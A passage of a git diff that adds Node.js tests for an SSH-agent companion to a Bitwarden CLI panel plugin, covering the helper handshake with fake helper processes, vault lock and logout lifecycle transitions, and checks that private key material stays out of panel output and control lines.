((nl = buffered.indexOf("\n")) >= 0) { + const line = buffered.slice(0, nl) + buffered = buffered.slice(nl + 1) + const step = Model.sshAgentReduce(state, { kind: "line", line: line, nowMs: Date.now() }) + state = step.state + if (step.action.message) messages.push(step.action.message) + if (step.action.stop) { try { child.kill("SIGTERM") } catch (e) {} } + if (state.phase === "ready" && !readyState) { + readyState = state + if (opts && opts.stopOnReady) child.stdin.end() + } + } + }) + child.on("exit", code => { + state = Model.sshAgentReduce(state, { kind: "exited", exitCode: code, nowMs: Date.now() }).state + finish() + }) + child.on("error", () => finish()) + }) +} + +function writeFakeHelper(name, body) { + const file = path.join(tmpRoot, name) + fs.writeFileSync(file, "#!/usr/bin/env node\n" + body, { mode: 0o700 }) + return file +} + +const fakeReady = writeFakeHelper("fake-ready.js", ` +process.stdin.resume() +let seen = "" +process.stdin.on("data", d => { + seen += d.toString() + if (seen.indexOf('"hello"') >= 0) { + process.stdout.write(JSON.stringify({ v: 1, type: "ready", + socketPath: "/run/fake/ssh-agent.sock", fifoPath: "/run/fake/ssh-keys.fifo", + agentVersion: "0.0.0-fake" }) + "\\n") + seen = "" + } +}) +process.stdin.on("end", () => process.exit(0)) +`) + +const fakeGarbage = writeFakeHelper("fake-garbage.js", ` +process.stdin.resume() +process.stdout.write("this is not ndjson\\n") +setTimeout(() => process.exit(0), 2000) +`) + +const fakeSilent = writeFakeHelper("fake-silent.js", ` +process.stdin.resume() +setTimeout(() => process.exit(0), 60000) +`) + +const fakeCrash = writeFakeHelper("fake-crash.js", `process.exit(9)`) + +const fakeFlood = writeFakeHelper("fake-flood.js", ` +process.stdin.resume() +let seen = "" +process.stdin.on("data", d => { + seen += d.toString() + if (seen.indexOf('"hello"') >= 0) { + process.stdout.write('{"v":1,"type":"error","code":"X","message":"' + "z".repeat(200000) + '"}\\n') + seen = "" + } +}) +`) + +const realHelper = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent") + +async function processTests() { + const nodeBin = process.execPath + + const okRun = await runHelper([nodeBin, fakeReady], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true }) + check("a fake helper completes the handshake", okRun.readyState !== null, JSON.stringify(okRun.state)) + eq("a fake helper opens the gate on ready", okRun.readyState && okRun.readyState.gateOpen, true) + eq("a fake helper reports its version", okRun.readyState && okRun.readyState.agentVersion, "0.0.0-fake") + eq("closing stdin ends the fake helper and closes the gate", okRun.state.gateOpen, false) + + const garbageRun = await runHelper([nodeBin, fakeGarbage], Model.sshAgentHelperEnv(runtimeDir)) + eq("a garbage-emitting helper fails closed", garbageRun.state.errorCode, "MALFORMED") + check("a garbage-emitting helper never opens the gate", garbageRun.state.gateOpen === false, + JSON.stringify(garbageRun.state)) + + const floodRun = await runHelper([nodeBin, fakeFlood], Model.sshAgentHelperEnv(runtimeDir)) + eq("an overlong helper line fails closed", floodRun.state.errorCode, "LINE_TOO_LONG") + + const crashRun = await runHelper([nodeBin, fakeCrash], Model.sshAgentHelperEnv(runtimeDir)) + eq("a helper that dies at once backs off", crashRun.state.phase, "backoff") + check("a helper that dies at once leaves the gate closed", crashRun.state.gateOpen === false, + JSON.stringify(crashRun.state)) + + const silentRun = await runHelper([nodeBin, fakeSilent], Model.sshAgentHelperEnv(runtimeDir), { timeoutMs: 1200 }) + eq("a silent helper never opens the gate", silentRun.state.gateOpen, false) + eq("a silent helper stays in the handshake", silentRun.state.phase, "handshaking") + + if (fs.existsSync(realHelper)) { + const realRun = await runHelper([realHelper], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true }) + check("the real helper completes the v1 handshake with only XDG_RUNTIME_DIR", + realRun.readyState !== null, JSON.stringify(realRun.state)) + const readyReal = realRun.readyState || { socketPath: "", fifoPath: "", agentVersion: "" } + check("the real helper reported a socket under the runtime dir", + readyReal.socketPath.indexOf(runtimeDir) === 0, + readyReal.socketPath + " (expected under " + runtimeDir + ")") + check("the real helper reported a fifo under the runtime dir", + readyReal.fifoPath.indexOf(runtimeDir) === 0, + readyReal.fifoPath + " (expected under " + runtimeDir + ")") + check("the real helper reported a version", /^\d+\.\d+\.\d+$/.test(readyReal.agentVersion), + readyReal.agentVersion) + check("closing stdin exits the real helper", realRun.state.phase === "backoff", + "phase " + realRun.state.phase) + eq("the real helper leaves the gate closed once it is gone", realRun.state.gateOpen, false) + check("the real helper removed its socket on the way out", + !fs.existsSync(readyReal.socketPath), "socket still present at " + readyReal.socketPath) + } else { + failures.push("the real helper binary is missing\n build it with: cargo build --manifest-path agent/Cargo.toml --locked") + } +} + +// ------------------------------------------------------------------------- +// The ordinary vault must not depend on the helper +// ------------------------------------------------------------------------- + +// The panel is three QML files now -- the SSH settings sections and the +// approval screen have their own. A check that reads only the largest one +// silently narrows as markup moves out of it. +const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"] + .map(file => fs.readFileSync(path.join(repoRoot, file), "utf8")) + .join("\n") +check("the supervisor Process is tracked, not detached", + !/execDetached\([^)]*sshAgent/i.test(panelSrc), "found execDetached for the ssh agent") +check("the supervisor keeps stdin open", /id:\s*sshAgentProc[\s\S]{0,400}?stdinEnabled:\s*true/.test(panelSrc), + "sshAgentProc has no stdinEnabled: true") +check("the supervisor parses stdout by line from startup", + /id:\s*sshAgentProc[\s\S]{0,600}?stdout:\s*SplitParser/.test(panelSrc), + "sshAgentProc has no SplitParser attached") +check("the supervisor uses a minimal environment", + /id:\s*sshAgentProc[\s\S]{0,600}?clearEnvironment:\s*true/.test(panelSrc), + "sshAgentProc does not clear its environment") + +// The helper cleans up its socket and FIFO when its control channel closes, +// and not when it is signalled. A stop that goes straight to SIGTERM leaves +// both behind for the next start to reclaim, so the supervisor has to ask +// before it terminates. +check("stopping the helper closes its control channel first", + /function stopSshAgentHelper\(\)[\s\S]{0,600}?stdinEnabled = false/.test(panelSrc), + "the stop path never closes stdin") +check("stopping the helper sends the shutdown line", + /function stopSshAgentHelper\(\)[\s\S]{0,600}?sshAgentShutdownLine\(\)/.test(panelSrc), + "the stop path never sends shutdown") +check("termination is a backstop behind a grace period", + /sshAgentTerminateTimer[\s\S]{0,300}?onTriggered:\s*if \(sshAgentProc\.running\) sshAgentProc\.running = false/.test(panelSrc), + "nothing terminates a helper that ignores the shutdown request") +check("starting the helper reopens its control channel", + /function startSshAgentHelper\(\)[\s\S]{0,300}?stdinEnabled = true/.test(panelSrc), + "a restarted helper would have no control channel") + +processTests().then(() => { + if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) + } + console.log(`ssh-agent-control: ${pass} passed`) + try { fs.rmSync(tmpRoot, { recursive: true, force: true }) } catch (e) {} +}) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-export.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-export.test.js new file mode 100644 index 0000000000000000000000000000000000000000..e3943a7cd6954b73d9781fcf9dc9be8a3250ff4e GIT binary patch literal 12111 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 I%-opyKaPA}X#fBK literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-lifecycle.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-lifecycle.test.js new file mode 100644 index 0000000..3f0109e --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-lifecycle.test.js @@ -0,0 +1,274 @@ +#!/usr/bin/env node +// The vault's lifecycle drives the companion's. These tests pin the design's +// state table and the ordering rules around a lock: deny first, cancel work, +// drop private material, keep only the public projection, and never let the +// panel's own lock wait on a companion that will not answer. +// +// node tests/ssh-agent-lifecycle.test.js + +const fs = require("fs") +const path = require("path") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.sshAgentVaultState = sshAgentVaultState + exports.sshAgentIdentityPolicy = sshAgentIdentityPolicy + exports.sshAgentLifecycleTransition = sshAgentLifecycleTransition + exports.sshAgentLockAckTimeoutMs = sshAgentLockAckTimeoutMs + exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine + exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine + exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +const ctx = extra => Object.assign({ + enabled: true, helperReady: true, loggedIn: true, + unlocked: true, loading: false, hasPublicCache: true +}, extra || {}) + +// ------------------------------------------------------------------------- +// The state table from the design, as one function +// ------------------------------------------------------------------------- + +eq("the feature off is its own state", Model.sshAgentVaultState(ctx({ enabled: false })), "disabled") +eq("a stopped companion is disabled too", Model.sshAgentVaultState(ctx({ helperReady: false })), "disabled") +eq("no account is logged out", Model.sshAgentVaultState(ctx({ loggedIn: false })), "logged-out") +eq("a load in flight is loading", Model.sshAgentVaultState(ctx({ loading: true })), "loading") +eq("an unlocked vault with keys is unlocked", Model.sshAgentVaultState(ctx()), "unlocked") +eq("locked with a cache keeps the cache", + Model.sshAgentVaultState(ctx({ unlocked: false })), "locked-cached") +eq("locked before any load is empty", + Model.sshAgentVaultState(ctx({ unlocked: false, hasPublicCache: false })), "locked-empty") + +// Logged out outranks everything below it: an account change must not leave a +// public projection behind just because one was loaded a moment ago. +eq("logged out outranks a stale cache", + Model.sshAgentVaultState(ctx({ loggedIn: false, hasPublicCache: true })), "logged-out") +eq("disabled outranks logged out", + Model.sshAgentVaultState(ctx({ enabled: false, loggedIn: false })), "disabled") + +const policy = state => Model.sshAgentIdentityPolicy(state) + +for (const [state, publicIds, privateKeys, signing] of [ + ["disabled", false, false, "denied"], + ["logged-out", false, false, "denied"], + ["locked-empty", false, false, "needs-unlock"], + ["loading", true, false, "denied"], + ["unlocked", true, true, "allowed"], + ["locked-cached", true, false, "needs-unlock"] +]) { + const p = policy(state) + eq(`${state} offers public identities: ${publicIds}`, p.publicIdentities, publicIds) + eq(`${state} holds private keys: ${privateKeys}`, p.privateKeys, privateKeys) + eq(`${state} signing is ${signing}`, p.signing, signing) +} + +// Private keys exist in exactly one state, and it is the only one that signs. +const allStates = ["disabled", "logged-out", "locked-empty", "loading", "unlocked", "locked-cached"] +eq("private keys live in exactly one state", + allStates.filter(s => policy(s).privateKeys).length, 1) +eq("only that state signs without a further unlock", + allStates.filter(s => policy(s).signing === "allowed").join(","), "unlocked") +check("no state holds private keys without allowing signing", + allStates.every(s => !policy(s).privateKeys || policy(s).signing === "allowed"), "mismatch") + +// ------------------------------------------------------------------------- +// Lifecycle transitions +// ------------------------------------------------------------------------- + +const at = (event, extra) => Model.sshAgentLifecycleTransition(event, ctx(extra)) + +// A lock denies first and asks for an acknowledgment it will not wait on. +const lock = at("lock", { loadActive: true }) +check("lock tells the companion to lock", + lock.controlLines.indexOf(Model.sshAgentVaultLockedLine(ctx().epoch || 0)) >= 0 + || lock.controlLines.some(l => l.indexOf('"vault_locked"') >= 0), + JSON.stringify(lock.controlLines)) +eq("lock cancels an in-flight load", lock.cancelLoad, true) +eq("lock starts no new load", lock.startLoad, false) +eq("lock waits for an acknowledgment", lock.awaitLockAck, true) +eq("lock keeps the public projection", lock.clearPublic, false) +eq("lock does not stop the helper", lock.stopHelper, false) +eq("the acknowledgment wait is bounded at two seconds", Model.sshAgentLockAckTimeoutMs(), 2000) + +// Screen lock and suspend are locks. They are listed separately so the table +// says so, rather than leaving it to a reader to infer from the panel. +for (const event of ["screen-lock", "suspend"]) { + const t = at(event, { loadActive: true }) + eq(`${event} locks the companion`, t.awaitLockAck, true) + eq(`${event} cancels an in-flight load`, t.cancelLoad, true) + eq(`${event} keeps the public projection`, t.clearPublic, false) + check(`${event} sends the same line a lock does`, + JSON.stringify(t.controlLines) === JSON.stringify(lock.controlLines), JSON.stringify(t.controlLines)) +} + +// Logout and account change clear the public projection too. +for (const event of ["logout", "account-change"]) { + const t = at(event, { loadActive: true }) + eq(`${event} clears the public projection`, t.clearPublic, true) + eq(`${event} cancels an in-flight load`, t.cancelLoad, true) + check(`${event} tells the companion the account is gone`, + t.controlLines.some(l => l.indexOf('"vault_logged_out"') >= 0), JSON.stringify(t.controlLines)) + check(`${event} does not merely lock`, + !t.controlLines.some(l => l.indexOf('"vault_locked"') >= 0), JSON.stringify(t.controlLines)) + eq(`${event} waits for no acknowledgment`, t.awaitLockAck, false) +} + +// Unlock and sync both ride the panel's existing read. +for (const event of ["unlock", "sync"]) { + const t = at(event) + eq(`${event} starts a key load`, t.startLoad, true) + eq(`${event} clears nothing`, t.clearPublic, false) + eq(`${event} sends no lifecycle line`, t.controlLines.length, 0) +} + +// Startup into a vault the keyring already unlocked. A freshly started +// companion is in "locked, no cache yet" while the panel is unlocked, so +// startup is not evidence that the vault is locked. +const startup = at("startup", { unlocked: true, hasPublicCache: false }) +eq("starting beside a remembered session loads keys", startup.startLoad, true) +const startupLocked = at("startup", { unlocked: false, hasPublicCache: false }) +eq("starting into a locked vault loads nothing", startupLocked.startLoad, false) + +// Disabling stops the companion outright; its socket and FIFO go with it. +const disabled = at("disable", { loadActive: true }) +eq("disabling stops the helper", disabled.stopHelper, true) +eq("disabling cancels an in-flight load", disabled.cancelLoad, true) +eq("disabling clears the public projection", disabled.clearPublic, true) + +const shutdown = at("shutdown", { loadActive: true }) +eq("panel shutdown stops the helper", shutdown.stopHelper, true) +eq("panel shutdown cancels an in-flight load", shutdown.cancelLoad, true) + +// Nothing is asked of a companion that is not there to answer. +for (const event of ["lock", "logout", "unlock", "sync", "screen-lock", "suspend"]) { + const t = Model.sshAgentLifecycleTransition(event, ctx({ enabled: false, helperReady: false })) + eq(`${event} sends nothing while disabled`, t.controlLines.length, 0) + eq(`${event} starts no load while disabled`, t.startLoad, false) + eq(`${event} waits for nothing while disabled`, t.awaitLockAck, false) +} + +// A helper that has not finished its handshake cannot be sent lifecycle lines, +// but a lock must still cancel local work rather than quietly doing nothing. +const lockNoHelper = Model.sshAgentLifecycleTransition("lock", ctx({ helperReady: false, loadActive: true })) +eq("a lock with no live helper still cancels local work", lockNoHelper.cancelLoad, true) +eq("a lock with no live helper waits for no acknowledgment", lockNoHelper.awaitLockAck, false) + +// ------------------------------------------------------------------------- +// The panel's own lock is never blocked by the companion +// ------------------------------------------------------------------------- + +// The panel is three QML files now -- the SSH settings sections and the +// approval screen have their own. A check that reads only the largest one +// silently narrows as markup moves out of it. +const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"] + .map(file => fs.readFileSync(path.join(repoRoot, file), "utf8")) + .join("\n") +const lockVault = panelSrc.slice(panelSrc.indexOf("function lockVault()"), + panelSrc.indexOf("function lockVault()") + 1400) + +check("locking runs bw lock without waiting on the companion", + /lockProc\.running = true/.test(lockVault) && !/await|\.wait\(/.test(lockVault), lockVault.slice(0, 300)) +check("locking reports the vault locked on the panel's own schedule", + /status = "locked"/.test(lockVault), "lockVault never sets the locked status") +check("locking notifies the companion", + /applySshAgentLifecycle\("lock"\)|sshAgentVaultLockedLine/.test(lockVault), + "lockVault never tells the companion") + +check("a lock acknowledgment timeout kills the helper", + /id: sshAgentLockAckTimer[\s\S]{0,400}?onTriggered:[\s\S]{0,200}?(sshAgentProc\.running = false|killSshAgentHelper)/ + .test(panelSrc), + "no acknowledgment timeout kills the helper") +check("the acknowledgment timer uses the model's bound", + /id: sshAgentLockAckTimer[\s\S]{0,200}?interval: Model\.sshAgentLockAckTimeoutMs\(\)/.test(panelSrc), + "the acknowledgment timeout is not the model's") +check("a locked acknowledgment stops the timer", + /"locked"[\s\S]{0,300}?sshAgentLockAckTimer\.stop\(\)/.test(panelSrc), + "the locked acknowledgment never stops the kill timer") + +check("logout tells the companion the account is gone", + /function logoutAccount\(\)[\s\S]{0,900}?applySshAgentLifecycle\("logout"\)/.test(panelSrc), + "logoutAccount never notifies the companion") +check("screen lock and suspend reach the companion through the lock path", + /function onScreenLockState[\s\S]{0,300}?lockVault\(\)/.test(panelSrc) + && /function onSleepSignal[\s\S]{0,900}?lockVault\(\)/.test(panelSrc), + "screen lock or suspend does not lock the vault") + +check("the gate opening arms a startup load", + /onSshAgentGateOpenChanged[\s\S]{0,1400}?sshAgentStartupLoadTimer\.restart\(\)/.test(panelSrc), + "the gate opening never arms a startup load") +check("a remembered unlocked session loads keys once the helper is ready", + /function maybeStartupLoad\(\)[\s\S]{0,1200}?applySshAgentLifecycle\("startup"\)/.test(panelSrc), + "nothing applies the startup transition") +// On a shell restart the handshake and the first `bw status` race, so waiting +// on only one of them loses the load whenever the other is second. +check("both edges of the startup race trigger the load", + /id: sshAgentStartupLoadTimer[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc) + && /onStatusChanged:[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc), + "only one edge triggers the startup load") +// The panel's first read is launched before the helper handshakes, so the +// completion of that read is the third edge that can owe a key load. +check("a completed read re-checks whether a startup load is owed", + /function onListFinished\(rawJson\)[\s\S]{0,900}?maybeStartupLoad\(\)/.test(panelSrc), + "a finished read never re-checks for an owed startup load") +check("a startup attempt is recorded before it runs, not after", + /sshAgentLoadedForVaultEpoch = root\.vaultEpoch\s*\n\s*applySshAgentLifecycle\("startup"\)/.test(panelSrc), + "a failed startup load could relaunch itself") +check("the startup load happens once per vault epoch, not once per edge", + /function maybeStartupLoad\(\)[\s\S]{0,1200}?sshAgentLoadedForVaultEpoch === root\.vaultEpoch/.test(panelSrc), + "nothing stops the startup load repeating") + +// The lock acknowledgment is what stops the kill timer, so it has to be +// consumed wherever the companion's messages are handled. +const messageHandler = panelSrc.slice( + panelSrc.indexOf("function onSshAgentMessage(message)"), + panelSrc.indexOf("function syncSshAgentSupervision()")) +check("the companion's own events are consumed rather than ignored", + /message\.type === "locked"/.test(messageHandler) && /message\.type === "keys_loaded"/.test(messageHandler), + "onSshAgentMessage ignores the lock acknowledgment or the load result") + +// Turning the feature off stops the helper through the supervisor, which is a +// different path from the lifecycle table -- so the table's clearPublic has to +// be applied explicitly or the projection is left on disk by a feature that is +// no longer running. +check("disabling the feature clears the public projection", + /onSshAgentEnabledChanged[\s\S]{0,700}?applySshAgentLifecycle\("disable"\)/.test(panelSrc), + "disabling never applies the disable transition") + +// A restarted helper is empty even when the vault epoch has not moved: the +// keystore lives in the helper's memory, not the vault's. Keying the +// startup-load guard on the vault epoch alone leaves a fresh helper keyless +// until something unrelated happens to bump it. +check("a new helper is always eligible for a load", + /onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentLoadedForVaultEpoch = -1/.test(panelSrc), + "a restarted helper inherits the old load bookkeeping and never loads") +check("a departed helper's key count is not left standing", + /onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentKeyCount = 0/.test(panelSrc), + "the panel keeps reporting keys a dead helper no longer holds") + +// ------------------------------------------------------------------------- +// Control lines +// ------------------------------------------------------------------------- + +eq("revoke_grants is a versioned v1 line", Model.sshAgentRevokeGrantsLine(), + JSON.stringify({ v: 1, type: "revoke_grants" }) + "\n") + +for (const line of [Model.sshAgentVaultLockedLine(3), Model.sshAgentLoggedOutLine(), + Model.sshAgentRevokeGrantsLine()]) { + check("no lifecycle line carries key material or a session token", + line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0 && line.indexOf("PRIVATE") < 0, line) +} + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`ssh-agent-lifecycle: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-pipeline.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-pipeline.test.js new file mode 100644 index 0000000..88a19bf --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-pipeline.test.js @@ -0,0 +1,477 @@ +#!/usr/bin/env node +// One `bw list items` read feeds both the panel and the companion. These tests +// run the real shell pipeline against a fake `bw` and a real FIFO, because the +// properties that matter are process-boundary properties: what reaches QML's +// stdout, what reaches the FIFO, and -- above all -- that the optional agent +// branch can never take the ordinary item list down with it. +// +// node tests/ssh-agent-pipeline.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { spawnSync, execFileSync } = require("child_process") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.sanitizedListCommand = sanitizedListCommand + exports.sshAgentFifoPath = sshAgentFifoPath + exports.loadIdEnvVar = loadIdEnvVar + exports.isValidLoadId = isValidLoadId + exports.loadIdCommand = loadIdCommand + exports.sshAgentLoadBeginLine = sshAgentLoadBeginLine + exports.sshAgentLoadEndLine = sshAgentLoadEndLine + exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine + exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine + exports.sshAgentHelloLine = sshAgentHelloLine +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML" +const REPROMPT_MARKER = "REPROMPT_PRIVATE_MARKER_must_not_reach_the_agent" +const LOAD_ID = "0123456789abcdef0123456789abcdef" + +const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-pipeline-")) +const fixturePath = path.join(tempDir, "items.json") +const runtimeDir = path.join(tempDir, "run") +fs.mkdirSync(runtimeDir, { mode: 0o700 }) +fs.mkdirSync(path.join(runtimeDir, "qs-bitwarden-cli"), { mode: 0o700 }) +const fifoPath = Model.sshAgentFifoPath(runtimeDir) + +fs.writeFileSync(path.join(tempDir, "bw"), [ + "#!/usr/bin/env bash", + 'if [ "$1" = "--version" ]; then printf "%s\\n" "${QSBW_BW_VERSION:-2026.2.0}"; exit 0; fi', + 'cat -- "$QSBW_FIXTURE"', + 'exit "${QSBW_BW_EXIT:-0}"', + "" +].join("\n"), { mode: 